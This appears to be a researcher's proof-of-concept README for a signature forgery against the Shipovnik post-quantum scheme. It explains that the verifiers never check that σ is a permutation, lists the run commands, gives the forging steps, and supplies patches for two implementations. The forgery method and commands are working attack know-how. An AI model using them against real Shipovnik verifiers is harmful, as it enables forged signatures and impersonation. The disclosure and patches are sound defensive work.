Shipovnik signature forgery PoC

The published verifier never checks that σ is a permutation. forge.py builds a signature from the public key alone. Their sig-ver.py accepts it.

From this directory. Needs git, a C compiler, Python 3, numpy.

git clone https://github.com/Kryptonite-RU/shipovnik-py &&
git -C shipovnik-py checkout e03d98b6956e97f1518e670bd59dfde0f5f6cafc
cc -O3 shipovnik-py/GFSR/GFSR.c -o shipovnik-py/GFSR/GFSR
./shipovnik-py/GFSR/GFSR c90fdaa2 2096704 hex shipovnik-py/data/H-prime.hex
pip3 install numpy

These commands create a public key, then forge a signature and verify it.

export PYTHONPATH=.

echo "\nGenerating public key..."
python3 -c "import os; pk=os.urandom(181).hex(); open('pk.hex','w').write(pk); print(pk)"

echo "\nForging signature..."
printf 'example message\n' > msg.txt
python3 forge.py -k pk.hex -m msg.txt -o sig.hex

echo "\nVerifying..."
python3 shipovnik-py/signature/sig-ver.py \
  --h-path shipovnik-py/data/H-prime.hex \
  --params-path shipovnik-py/signature/params.json \
  --message-path msg.txt --public-key-path pk.hex --sig-path sig.hex

Their verifier prints The signature does work!

Shipovnik is Stern's identification protocol with Fiat-Shamir. The secret is 2896 bits with 318 ones. The verifier is shown a shuffled copy and counts ones. It never asks whether the shuffle is a permutation.

permute is a gather: out[i] = x[σ[i]]. That stays linear over F₂ for any index map, so the hash checks still pass. Weight is not preserved.

1. s' = 0^k || y. Then H s' = y, because H = [H' | I].
2. Build a σ that reads exactly 318 ones out of s'.
3. Build the 219-round Fiat-Shamir transcript over s' and σ.

The same (s', σ) answers all three questions in every round. The transcript never holds a valid secret.

The papers print three hash checks and a weight check. None of them asks whether the position list is a permutation. The same hole is in the C implementation.

fix/ has a diff for each published implementation. Apply with patch -p1 at the repo root, at the commits below.

• shipovnik-py at e03d98b6956e97f1518e670bd59dfde0f5f6cafc
• shipovnik_tc26 at a9139ef6178a6dfebac3ae328817a361f0e85256

Each adds a range and duplicate test on σ. Verifier only. Keys and the wire format stay the same, so a patched verifier still accepts honest signatures from an unpatched signer.

cd shipovnik-py && patch -p1 < ../fix/shipovnik-py-sigma-bijectivity.diff

After that, sig-ver.py prints sigma is not a permutation for j = 0 and exits nonzero.

Fireblocks Cryptography Research